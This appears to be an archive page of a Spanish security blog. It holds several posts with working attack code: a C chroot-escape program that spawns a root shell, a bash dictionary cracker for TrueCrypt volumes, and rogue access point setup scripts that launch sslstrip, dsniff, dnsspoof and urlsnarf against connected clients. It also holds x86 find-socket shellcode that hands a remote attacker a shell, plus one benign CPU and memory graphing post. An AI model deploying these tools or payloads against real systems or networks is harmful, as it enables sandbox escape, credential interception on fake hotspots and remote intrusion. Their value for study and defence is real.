Archive

Archive for the ‘GNU/Linux’ Category

Bypassing Chroot

March 3rd, 2010 No comments

Con la excusa de llevar mucho tiempo sin escribir ninguna entrada, aprovecho para decir que ya se ha inaugurado el blog de elhacker.net (blog.elhacker.net).

La primera entrada, de la mano de Kamsky habla sobre jaulas chroot, y algunos métodos para saltarnos esta medida de prevención.

El artículo original: http://blog.elhacker.net/2010/03/jaulas-chroot.html

Aquí adjunto el código retocado para salir del chroot siendo root:

/*
Chema Garcia (a.k.a. sch3m4)

[email protected]

http://safetybits.net

*/

#include <stdlib.h>
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <pwd.h>

#define FOLDER      "chbrk"
#define PERM        0700
#define MAX_CHDIR   200

#define SHELL       "/bin/sh"

int main()
{
    int           fd;
    struct stat   statf;
    ino_t         aux;
    unsigned int  cont;
    struct passwd *owner;
    char          *directory;

    if(getuid()!=0)
    {
        fprintf(stderr,"\nThis program cannot work without root privileges\n");
        return -1;
    }

    fd=open(".",O_RDONLY);
    mkdir(FOLDER,PERM);
    chroot(FOLDER);
    fchdir(fd);
    close(fd);

    aux=0;
    cont=0;
    while(!stat(".",&statf) && aux!=statf.st_ino && cont++ < MAX_CHDIR)
    {
        aux=statf.st_ino;
        chdir("..");
    }

    if(aux==statf.st_ino)
    {
        chroot(".");
        owner=getpwuid(statf.st_uid);

        directory=getcwd(0,0);
        fprintf(stderr,"\n+=[ Done! ]=+\n");
        fprintf(stderr,"\n+ Directory:  %s",directory);
        fprintf(stderr,"\n+ Inode:      %d",(int)statf.st_ino);
        fprintf(stderr,"\n+ Owner:      id=%d (%s) / gid=%d \n\n",owner->pw_uid,owner->pw_name,owner->pw_gid);
        free(directory);

        execl(SHELL,(char*)0,(char*)0);
    }

   return 0;
}

Y la url a pastebin: http://pastebin.com/su0wsDer

Categories: Ataques, C/C++, GNU/Linux, Programacion, Seguridad Tags:

Crackeando volúmenes de TrueCrypt

December 20th, 2009 1 comment

TrueCrypt como ya sabrán, es una aplicación que permite crear volúmenes virtuales cifrados y ocultos en otros volúmenes.

Y es que todo eso de cifrar y ocultar la información que bajo nuestro punto de vista puede ser sensible, de manera que solo nosotros sabemos cómo acceder a dichos datos está muy bien, y sí que es cierto que se nos da el caso de que realmente hay que proteger cierta información (una buena combinación es TrueCrypt + PGP), pero tarde o temprano es intevitable terminar como la siguiente ilustración, y que el botón “Forgot your password?” se convierta en nuestro mejor aliado:

En el caso del botón, todo está solucionado, rellenamos un formulario y listo (si nos acordamos de los datos del registro, claro), pero en el caso de TrueCrypt… ¿Dónde está el botón? Personalmente soy muy dado a olvidar las claves así que suelo tener varias copias de seguridad de un fichero con todas mis credenciales cifrado con PGP, pero como siempre hay algo que puede fallar, y fallará, el problema era que en ese archivo, no estaban todas las claves.

Así que necesitaba acceder a un volumen cifrado con TrueCrypt, por lo que me puse a buscar herramientas para automatizar el crackeo, y solo me encuentro con aplicaciones de pago, porciones de código y alguna que otra aplicación que dice  funcionar pero de fuentes nada fiables. Así que me dispuse a aplicar la filosofía del DIY (o para los menos avispados, Do It Yourself) e hice el script para crackear el volumen. Pero claro, como siempre el problema de los ataques por diccionario es el propio diccionario, ya que la clave rondaba los 100 caracteres, así que generé un diccionario a partir de los caracteres que recordaba, y pude acceder a los datos.

El script es muy simple, se limita a leer las posibles claves del diccionario y lanza directamente el TrueCrypt para tratar de montar el volumen usando dicha clave. Obviamente no es para nada eficiente, y si no conocemos ningún patrón de la clave, no es factible el ataque cuando uno ve datos como este:

# time truecrypt –text –non-interactive –mount –mount-options=ro  –filesystem=none -p “laclave” ./volumen
Error: Incorrect password or not a TrueCrypt volume.

real    0m2.078s
user    0m0.144s
sys     0m0.008s

Aunque ya que el código de TrueCrypt lo podemos descargar de la página oficial, se podría modificar para que el ataque fuese más eficiente.

#!/bin/bash
#

echo -e "\n"
echo -e "############################"
echo -e "#                          #"
echo -e "#        ~ SafetyBits ~       #"
echo -e "#                          #"
echo -e "# Simple TrueCrypt Cracker #"
echo -e "#          v0.1b           #"
echo -e "#                          #"
echo -e "# ~~~~~~~~~~~~~~~~~~~~~~~  #"
echo -e "#                          #"
echo -e "# Written by: Chema Garcia #"
echo -e "#        [email protected] #"
echo -e "#        http://safetybits.net #"
echo -e "#                          #"
echo -e "############################"

if [ ! $# -eq 2 ]
then
 echo -e "\nUse: $0 <volume_path> <dictionary>\n"
 exit 0
fi

TRUECRYPT="`which truecrypt`"
if [ `echo $TRUECRYPT | grep -c "^/"` -eq 0 ]
then
 echo -e "\n[!] 'truecrypt' not found!\n"
 exit 1
fi

IFSaux="$IFS"
IFS="
"

echo -e "\n[+] Started!\n"
for i in `cat $2`
do
 RES="`$TRUECRYPT --text --non-interactive --mount --mount-options=ro --filesystem=none -p "$i" "$1" 2>&1`"

 if [ $? -eq 0 ]
 then
  echo -e "\n[+] KEY FOUND! ==> $i\n"
  $TRUECRYPT --text --non-interactive --volume-properties "$1"

  echo -e "[+] Demounting...\c"
  $TRUECRYPT --text --non-interactive -d "$1"
  echo "OK"

  break
 elif [ `echo "$RES" | grep -ic "create ioctl failed"` -ge 1 ]
 then
  echo -e "\n[+] POSSIBLE KEY FOUND! ==> $i"
  echo -e "\t- Still working..."
 fi

done

IFS="$IFSaux"

echo -e "\n[+] Finished!\n"

unset IFSaux RES TRUECRYPT i
exit 0

Creando un punto de acceso falso – II

October 5th, 2009 11 comments

Post Actualizado: http://safetybits.net/2011/03/30/howto-rogue-ap/

Hace algún tiempo escribí un artículo a modo de manual con un script final para crear puntos de acceso falso usando airbase-ng.

En este segundo artículo, voy a resumir brevemente los pasos mencionados en el primer artículo y mostrar diferentes caminos y algunas aplicaciones finales.

Lo primero será instalar los servidores DHCP y DNS necesarios, y ajustar su configuración. En este caso usaré como servidor DHCP “dhcp3-server” y como servidor DNS “bind9″.

Dado que queremos ofrecer conexión a internet a los clientes, debemos configurar el servidor DHCP para usar los rangos de IP que creamos más convenientes, en el archivo /etc/dhcp3/dhcpd.conf, en mi caso queda así:

ddns-update-style none;
option domain-name-servers 10.0.0.1;
default-lease-time 60;
max-lease-time 72;
authoritative;
log-facility local7;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.33 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;
}

Para ahorrarnos problemas, nos aseguramos de que ambos demonios están detenidos:

/etc/init.d/dhcp3-server stop
/etc/init.d/bind9 stop

Acto seguido, ajustaremos los parámetros de “airbase-ng” en función a lo que queramos hacer, en mi caso crearé un AP con cifrado WEP, por lo que los pasos para montar el AP serán:

  1. airbase-ng -I 100 -P -C 2 -c 6 –essid Wifli_Gratis rausb0 -w 5A303031333439454430374333
  2. ifconfig at0 10.0.0.1 up
  3. dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
  4. sysctl net.ipv4.ip_forward=1
  5. iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
  6. /etc/init.d/bind9 start

Listo, con esto ya tendremos la red creada y proporcionaremos acceso a internet a los clientes:

Cell 06 – Address: XX:XX:XX:XX:XX:XX
ESSID:”Wifli”
Mode:Master
Channel:6
Frequency:2.437 GHz (Channel 6)
Quality=96/100  Signal level=-31 dBm  Noise level=-127 dBm
Encryption key:on
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s
48 Mb/s; 54 Mb/s
Extra:tsf=ffffffffd4670326

Una vez tenemos a los clientes conectados, vamos con lo siguiente:

SSLstrip: Suplanta sesiones web HTTPS por HTTP

$ sudo apt-get install python python-twisted-web
$ wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.6.tar.gz && tar xf sslstrip-0.6.tar.gz

DSniff: Suite – Principalmente usaremos ‘dsniff’, ‘urlsnarf’ y ‘dnsspoof’ para suplantar nombres de dominio

  • Para distribuciones basadas en Debian: $ sudo apt-get install dsniff
  • Fuentes: http://monkey.org/~dugsong/dsniff/dsniff-2.3.tar.gz

p0f: Detección de SO pasivo

  • Para distribuciones basadas en Debian: $ sudo apt-get install p0f
  • Fuentes: http://lcamtuf.coredump.cx/p0f.tgz

TCPTrack: Monitor de conexiones TCP

  • Para distribuciones basadas en Debian: $ sudo apt-get install tcptrack
  • Fuentes: http://www.rhythm.cx/~steve/devel/tcptrack/release/1.2.0/source/tcptrack-1.2.0.tar.gz

Para comenzar está bien, aunque siempre podemos ponernos más “juguetones” y que el tráfico de red crezca de una manera descontrolada, usando karmetasploit.

Script para crear el AP:

#!/bin/sh
#
# Scriwap 1.5 - Script to create rogue AP
#
# Chema Garcia (a.k.a. sch3m4)
# [email protected]
# http://safetybits.net
#

RUTA_AIRBASE='/usr/local/sbin/airbase-ng'
RUTA_BIND9='/etc/init.d/bind9'
RUTA_DHCPD3S='/etc/init.d/dhcp3-server'
RUTA_DHCPD3='/usr/sbin/dhcpd3'
RUTA_CFG_DHCPD3='/etc/dhcp3/dhcpd.conf'
RUTA_SYSCTL='/sbin/sysctl'
RUTA_IPTABLES='/sbin/iptables'
AIRBASE_IFACE='at0'
LOG='.scriwap.log'

function check
{
 if [ ! $? -eq 0 ]
 then
 echo -e "[!] Error - Check "$LOG""
 exit $?
 fi
}

echo "###############################"
echo "#        SCRIWAP 1.5          #"
echo "#=============================#"
echo "#  Chema Garcia (aka sch3m4)  #"
echo "#      [email protected]      #"
echo "#      http://safetybits.net      #"
echo "###############################"
echo ""

if [ $# -lt 4 ]
then
 echo -e "Use: $0 <iface_inet> <iface_monitor> <ip_gw> <netmask> <airbase_opt>\n"
 echo -e "Ej: $0 wlan0 rausb0 10.0.0.1 255.0.0.0 -P -C 2 -c 6 --essid Wifli\n"
 exit 1
fi

if [ ! $UID -eq 0 ]
then
 sudo ls / 2>&1 >/dev/null
fi

#comienzo de parametros de airbase
ifacenet=$1
ifacemon=$2
ip=$3
mascara=$4
narg=$#
num=5

while [ $# -gt 0 ] && [ $num -le $narg ];do
 param="$param $5"
 shift
 num=$(($num+1))
done
param="$param $ifacemon"

#Activamos el IP Forwarding
echo "[+] Setting up IP Forwarding"
sudo $RUTA_SYSCTL net.ipv4.ip_forward=1 2>&1 >> $LOG
check

echo "[+] Stopping DHCP daemon"
sudo $RUTA_DHCPD3S stop 2>&1 >> $LOG
echo "[+] Stopping DNS daemon"
sudo $RUTA_BIND9 stop 2>&1 >> $LOG

echo "[+] Flushing 'nat' table"
sudo $RUTA_IPTABLES -t nat -F
check

echo "[+] Adding iptables rule"
sudo $RUTA_IPTABLES -t nat -A POSTROUTING -o $ifacenet -j MASQUERADE
check

echo "[+] Setting up Acces Point..."
sudo rmmod tun 2>&1 >> $LOG
xterm -e sudo $RUTA_AIRBASE $param &
sleep 3

echo "[+] Settin up interface $AIRBASE_IFACE"
sudo ifconfig $AIRBASE_IFACE $ip netmask $mascara up
check

echo "[+] Starting DHCP daemon"
sudo $RUTA_DHCPD3 -cf $RUTA_CFG_DHCPD3 $AIRBASE_IFACE 2>&1 >> $LOG
check

echo "[+] Starting DNS daemon"
sudo $RUTA_BIND9 start 2>&1 >> $LOG
check

echo -e "\n[+] Finished!\n"

exit 0

Script para lanzar las herramientas:

#!/bin/bash
#
# Chema Garcia (a.k.a. sch3m4)
# [email protected]
# http://safetybits.net
#

RUTA_IPTABLES='/sbin/iptables'
RUTA_SSLSTRIP='/home/sch3m4/FakeAP/sslstrip-0.6/sslstrip.py'
RUTA_DSNIFF='/usr/sbin/dsniff'
RUTA_URLSNARF='/usr/sbin/urlsnarf'
RUTA_DNSSPOOF='/usr/sbin/dnsspoof'
RUTA_P0F='/usr/sbin/p0f'
RUTA_TCPTRACK='/usr/bin/tcptrack'
RUTA_TCPDUMP='/usr/sbin/tcpdump'
PUERTO='4664'
RUTA_HOSTSDNS='' # You have to create a file to use dnsspoof

if [ ! $# -eq 1 ]
then
 echo -e "\nUse: $0 <iface>\n"
 exit 1
fi

if [ ! $UID -eq 0 ]
then
 sudo ls / 2>&1 >/dev/null
fi

echo -e "[?] Do you want to save the capture using tcpdump? (y/n): \c"
read SAVE

if [ "$SAVE" == 'y' ] || [ y"$SAVE" == 'y' ]
then
 SAVE_FILE=''
 while [ -z "$SAVE_FILE" ]
 do
 echo -e "[?] Filename: \c"
 read SAVE_FILE
 done
else
 SAVE_FILE=''
fi

echo '[+] Adding iptables rule'
sudo $RUTA_IPTABLES -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port $PUERTO

echo -e '[+] Launching SSLstrip...\c'
xterm -e sudo $RUTA_SSLSTRIP -l $PUERTO &
echo 'OK'

echo -e '[+] Launching Dsniff...\c'
xterm -e sudo $RUTA_DSNIFF -i $1 &
echo 'OK'

if [ ! -z "$RUTA_HOSTSDNS" ]
then
 echo -e '[+] Launching DNSspoof...\c'
 xterm -e sudo $RUTA_DNSSPOOF -i $1 -f $RUTA_HOSTSDNS &
 echo 'OK'
fi

echo -e '[+] Launching p0f...\c'
xterm -e sudo $RUTA_P0F -i $1 -U -t &
echo 'OK'

echo -e '[+] Launching TCPtrack...\c'
xterm -e sudo $RUTA_TCPTRACK -i $1 &
echo 'OK'

echo -e '[+] Launching URLsnarf...\c'
xterm -e sudo $RUTA_URLSNARF -i $1 &
echo 'OK'

if [ ! -z "$SAVE_FILE" ]
then
 echo -e '[+] Launching TCPDump...\c'
 xterm -e sudo $RUTA_TCPDUMP -i $1 -w $SAVE_FILE &
 echo 'OK'
fi

exit 0

Ambos scripts están disponibles en:

http://pastebin.com/f671cce89
http://pastebin.com/f332a2d1a

Gráficas de rendimiento – Consumo de %CPU y Memoria

May 30th, 2009 6 comments

Sí, este post también habla sobre desarrollo en GNU/Linux… Cuando desarrollamos una aplicación, puede que nos guste/necesitemos ver el rendimiento de esta, así que buscando sobre cómo podría monitorizar el tiempo de CPU y el uso de memoria de una aplicación, me encuentro sin querer con aplicaciones como Cacti, MRTG, a demás de los administradores de taréas de cada uno de los entornos de escritorio de GNU/Linux y todos y cada uno de sus plugins, versiones, modificaciones, changelogs, etc. Pero lo que realmente andaba buscando era algo mucho más simple, alguna utilidad que me permitiese generar una gráfica simple del consumo de CPU y memoria de X programa, así que al no encontrarlo, decidí utilizar un script en python que encontré en un foro, para medir el uso total de la memoria usada por cada uno de los procesos, y escribir algunos scripts para crearme la herramienta que necesitaba, ayudado por gnuplot, para crear gráficas como esta:

1

Aquí os dejo los scripts:

ps_mem.py

#!/usr/bin/env python

# Try to determine how much RAM is currently being used per program.
# Note the per program, not per process. So for example this script
# will report mem used by all httpd process together. In detail it reports:
# sum(all RSS for process instances) + max(shared mem for any process instance)
#
# The shared calculation below will factor out shared text and
# libs etc. within a program, but not between programs. So there
# will always be some overestimation. This will be the same for
# all processes that just use libc for e.g. but more for others
# that use larger shared libs like gnome, kde etc.

# Author: [email protected]

# V1.0      06 Jul 2005    Initial release
# V1.1      11 Aug 2006    root permission required for accuracy
# V1.2      08 Nov 2006    Add total to output
#                          Use KiB,MiB,… for units rather than K,M,…
# V1.3      22 Nov 2006    Ignore shared col from /proc/$pid/statm for
#                          2.6 kernels up to and including 2.6.9.
#                          There it represented the total file backed extent
# V1.4      23 Nov 2006    Remove total from output as it’s meaningless
#                          (the shared values overlap with other programs).
#                          Display the shared column. This extra info is
#                          useful, especially as it overlaps between programs.
# V1.5      26 Mar 2007    Remove redundant recursion from human()
# V1.6      05 Jun 2007    Also report number of processes with a given name.
#                          Patch from [email protected]

# Notes:
#
# All interpreted programs where the interpreter is started
# by the shell or with env, will be merged to the interpreter
# (as that’s what’s given to exec). For e.g. all python programs
# starting with “#!/usr/bin/env python” will be grouped under python.
# You can change this by changing comm= to args= below but that will
# have the undesirable affect of splitting up programs started with
# differing parameters (for e.g. mingetty tty[1-6]).
#
# For 2.6 kernels up to and including 2.6.13 and later 2.4 redhat kernels
# (rmap vm without smaps) it can not be accurately determined how many pages
# are shared between processes in general or within a program in our case:
# http://lkml.org/lkml/2005/7/6/250
# A warning is printed if overestimation is possible.
# In addition for 2.6 kernels up to 2.6.9 inclusive, the shared
# value in /proc/$pid/statm is the total file-backed extent of a process.
# We ignore that, introducing more overestimation, again printing a warning.
#
# I don’t take account of memory allocated for a program
# by other programs. For e.g. memory used in the X server for
# a program could be determined, but is not.
#
# This script assumes threads are already merged by ps

# TODO:
#
# use ps just to enumerate the pids and names
# so as to remove the race between reading rss and shared values

import sys, os, string

if os.geteuid() != 0:
sys.stderr.write(“Sorry, root permission required.\n”);
sys.exit(1)

PAGESIZE=os.sysconf(“SC_PAGE_SIZE”)/1024 #KiB
our_pid=os.getpid()

#(major,minor,release)
def kernel_ver():
kv=open(“/proc/sys/kernel/osrelease”).readline().split(“.”)[:3]
for char in “-_”:
kv[2]=kv[2].split(char)[0]
return (int(kv[0]), int(kv[1]), int(kv[2]))

kv=kernel_ver()

def getShared(pid):
if os.path.exists(“/proc/”+str(pid)+”/smaps”):
shared_lines=[line
for line in open("/proc/"+str(pid)+"/smaps").readlines()
if line.find("Shared")!=-1]
return sum([int(line.split()[1]) for line in shared_lines])
elif (2,6,1) <= kv <= (2,6,9):
return 0 #lots of overestimation, but what can we do?
else:
return int(open(“/proc/”+str(pid)+”/statm”).readline().split()[2])*PAGESIZE

cmds={}
shareds={}
count={}
for line in os.popen(“ps -e -o rss=,pid=,comm=”).readlines():
size, pid, cmd = map(string.strip,line.strip().split(None,2))
if int(pid) == our_pid:
continue #no point counting this process
try:
shared=getShared(pid)
except:
continue #ps gone away
if shareds.get(cmd):
if shareds[cmd] < shared:
shareds[cmd]=shared
else:
shareds[cmd]=shared
#Note shared is always a subset of rss (trs is not always)
cmds[cmd]=cmds.setdefault(cmd,0)+int(size)-shared
if count.has_key(cmd):
count[cmd] += 1
else:
count[cmd] = 1

#Add max shared mem for each program
for cmd in cmds.keys():
cmds[cmd]=cmds[cmd]+shareds[cmd]

sort_list = cmds.items()
sort_list.sort(lambda x,y:cmp(x[1],y[1]))
sort_list=filter(lambda x:x[1],sort_list) #get rid of zero sized processes (kernel threads)

#The following matches “du -h” output
#see also human.py
def human(num, power=”Ki”):
powers=["Ki","Mi","Gi","Ti"]
while num >= 1000: #4 digits
num /= 1024.0
power=powers[powers.index(power)+1]
return “%.1f %s” % (num,power)

def cmd_with_count(cmd, count):
if count>1:
return “%s (%u)” % (cmd, count)
else:
return cmd
print ” Private  +  Shared  =  RAM used\tProgram \n”
for cmd in sort_list:
print “%8sB + %8sB = %8sB\t%s” % (human(cmd[1]-shareds[cmd[0]]), human(shareds[cmd[0]]), human(cmd[1]),
cmd_with_count(cmd[0], count[cmd[0]]))
print “\n Private  +  Shared  =  RAM used\tProgram \n”

#Warn of possible inaccuracies
#1 = accurate
#0 = some shared mem not reported
#-1= all shared mem not reported
def shared_val_accurate():
“”"http://wiki.apache.org/spamassassin/TopSharedMemoryBug”"”
if kv[:2] == (2,4):
if open(“/proc/meminfo”).read().find(“Inact_”) == -1:
return 1
return 0
elif kv[:2] == (2,6):
if os.path.exists(“/proc/”+str(os.getpid())+”/smaps”):
return 1
if (2,6,1) <= kv <= (2,6,9):
return -1
return 0
else:
return 1

vm_accuracy = shared_val_accurate()
if vm_accuracy == -1:
sys.stderr.write(“Warning: Shared memory is not reported by this system.\n”)
sys.stderr.write(“Values reported will be too large.\n”)
elif vm_accuracy == 0:
sys.stderr.write(“Warning: Shared memory is not reported accurately by this system.\n”)
sys.stderr.write(“Values reported could be too large.\n”)

datos.sh

#!/bin/bash

if [ ! $# -eq 2 ]
then
echo “Uso: $0 <proceso> <iteraciones>”
exit 1
fi

PID=`ps -e | grep $1 | awk ‘{print $1}’`

if [ -z "$PID" ]
then
echo “Proceso $1 no encontrado”
unset PID
exit 2
fi

PS_MEM=”./ps_mem.py”
ARCHIVOM=”/tmp/memoria.dat”
ARCHIVOC=”/tmp/cpu.dat”

rm -f “$ARCHIVOC” “$ARCHIVOM”

cont=0
while [ $cont -lt $2 ]
do
#uso de memoria
dMEM=`”$PS_MEM” | grep “$1″ | awk ‘{print \$7}’`
if [ -z "$dMEM" ]
then
dMEM=0
fi
echo $dMEM >> “$ARCHIVOM”

#quantum de CPU
dCPU=`top -n1 -p $PID | grep “$1″ | tr -s ” *” ‘;’ | awk -F\; ‘{print \$10}’`
if [ -z "$dCPU" ]
then
dCPU=0
fi
echo $dCPU >> “$ARCHIVOC”

echo “$cont) Memoria (MB): $dMEM | %CPU: $dCPU”
let cont=cont+1
done

unset dCPU cont dMEM ARCHIVOC ARCHIVOM PS_MEM PID
exit 0

grafica.sh

#!/bin/sh

if [ ! $# -eq 1 ]
then
echo “Uso: $0 ”
exit 1
fi

ARCHIVOM=”/tmp/memoria.dat”
ARCHIVOC=”/tmp/cpu.dat”

if [ ! -f "$ARCHIVOM" ] || [ ! -f "$ARCHIVOC" ]
then
echo “No se encuentran $ARCHIVOM , $ARCHIVOC”
unset ARCHIVOM ARCHIVOC
exit 2
fi

TMPM=”/tmp/mtmp.dat”
TMPC=”/tmp/ctmp.dat”

cont=0;
while read line; do
echo $cont ${line#*\ };
cont=$(( $cont + 1 ));
done < $ARCHIVOM > $TMPM

cont=0;
while read line; do
echo $cont ${line#*\ };
cont=$(( $cont + 1 ));
done < $ARCHIVOC > $TMPC

PLOT=”/tmp/gp1.dat”

rm -f “$PLOT” “$1″

echo “set terminal png” > $PLOT
echo “set title \”RENDIMIENTO\”" >> $PLOT
echo “set grid” >> $PLOT
echo “set ylabel \”Consumo\”" >> $PLOT
echo “set xlabel \”Tiempo\”" >> $PLOT
echo “set output \”$1\”" >> $PLOT
echo “plot \”$TMPM\” w lines title \”Memoria (MB)\”,\”$TMPC\” w lines title \”Uso %CPU\”" >> $PLOT

gnuplot $PLOT

rm -f “$PLOT” “$TMPM” “$TMPC”
unset ARCHIVO TMPM TMPC cont PLOT
exit 0

rendimiento.sh

#!/bin/bash

VISOR=”gpicview ”
if [ ! $# -eq 3 ]
then
echo “Uso: $0

unset VISOR
exit 1
fi

DATOS=”./datos.sh”
GRAFICA=”./grafica.sh”

if [ ! -f "$DATOS" ] || [ ! -f "$GRAFICA" ]
then
echo “No se encuentran \”$DATOS\” , \”$GRAFICA\”"
unset DATOS GRAFICA VISOR
exit 1
fi

$DATOS $1 $3

echo -e “\nGenerando grafica…”
$GRAFICA $2
unset DATOS GRAFICA

echo ‘Visualizando…’
$VISOR $2 &

unset VISOR
exit 0

El script principal es rendimiento.sh al que deben pasársele como argumentos el nombre del proceso, la ruta de la imagen de destino, y el número de iteraciones para recabar información sobre el consumo de CPU y memoria. Después de esto usará gnuplot para crear la gráfica y el visor especificado en “rendimiento.sh” para visualizar la imagen.

Un ejemplo sería este: ./rendimiento.sh Xorg ./grf_xorg.png 30

Categories: Bash Script, GNU/Linux, Programacion Tags:

Find Socket & Spawns a Shell (PoC Shellcode)

April 25th, 2009 No comments

El payload más común cuando se explota una vulnerabilidad remota en un servidor, es una bind/reverse shellcode, pero en la mayoría de los casos nos será inútil debido a la existencia de un cortafuegos que bloquea la conexión, por esto mismo existen las shellcodes “Find Socket”, para buscar un socket (del atacante) abierto, y lanzar sobre la conexión establecida una consola remota. Naturalmente, existen varios tipos dentro de esta shell, y la diferencia consiste en el método de encontrar el socket del atacante.

Para esto existen básicamente dos opciones:

  1. getpeername
  2. read/recv

Como sus nombres indican, la primera de ellas obtiene los datos del cliente de un socket, y la segunda lee los datos del conector a un buffer.

A primera vista parece que la mejor opción es usar “getpeername“, pero habrá entornos (nat) en los que los datos que nos devuelve esta función no serán los que esperemos. Precisamente por esto, se suele usar recv/read para localizar el socket. La idea es, que después de explotar corréctamente la vulnerabilidad, enviemos una cadena identificada por la shellcode, para obtener el socket y lanzar la consola.

Para conseguir identificar la cadena, se activa el flag O_NONBLOCK del socket mediante “fcntl” (enviando un IOCTL (F_GETF) y obtener los flags del descriptor,  hacer una OR con O_NONBLOCK y enviarle este valor mediante otro IOCTL (F_SETF)), después de esto se leen N bytes del socket, y se establecen los flags originales.

Hecho esto, si los N bytes leídos coinciden con los identificados por la shellcode, lanzará la consola por ese socket, y si no coincide, incrementará el valor del descriptor y volverá a hacer lo mismo.

Si bien la idea es buena como prueba de concepto, en un escenario real habría que saber ciertos datos de la conexión que un cliente no tiene por qué saber (incluso no puede saberlo), como el tamaño del buffer de recepción del servidor, e incluso en caso de saberlo, si el servidor maneja los datos recibidos antes que la shellcode, esta se saltaría el socket y no tendríamos la consola.

Pero inconvenientes a parte, he estado haciendo una prueba de concepto cuyo código tenéis a continuación, aunque falta activar el flag O_NONBLOCK del socket ;-)

push 0x586F5267
mov edi,esp ;buffer esperado 'gRoX'
push byte 1
mov esi,esp;buffer de recepcion
xor eax,eax
push ax
push byte 4 ;length
push esi ;buffer recv
cdq
lea ebx,[edx+0x0a]
;busqueda del socket
bucle:
;recv(...);
push edx ;socket
mov ecx,esp
push byte 0x66
pop eax
int 80h
pop edx
xchg eax,ecx
push esi
push edi
repe cmpsb
pop edi
pop esi
jne sigue
;hemos encontrado nuestro socket
;lanzamos la consola
;dup2
mov eax,ecx
xchg ebx,edx
mov cl,2
dup:
mov al,0x3f
int 80h
dec ecx
jns dup
;setuid()
xchg ebx,eax
mov al,0x17
cdq
int 80h
;execve()
inc ecx
push ebx
push 0x68732f6e
push 0x69622f2f
mov al,0x0b
mov ebx,esp
int 80h
mov dx,0xfffe
sigue:
inc dx
cmp dx,0xffff ;valor max.
jne bucle
Categories: ASM, GNU/Linux, Programacion, Shellcodes Tags: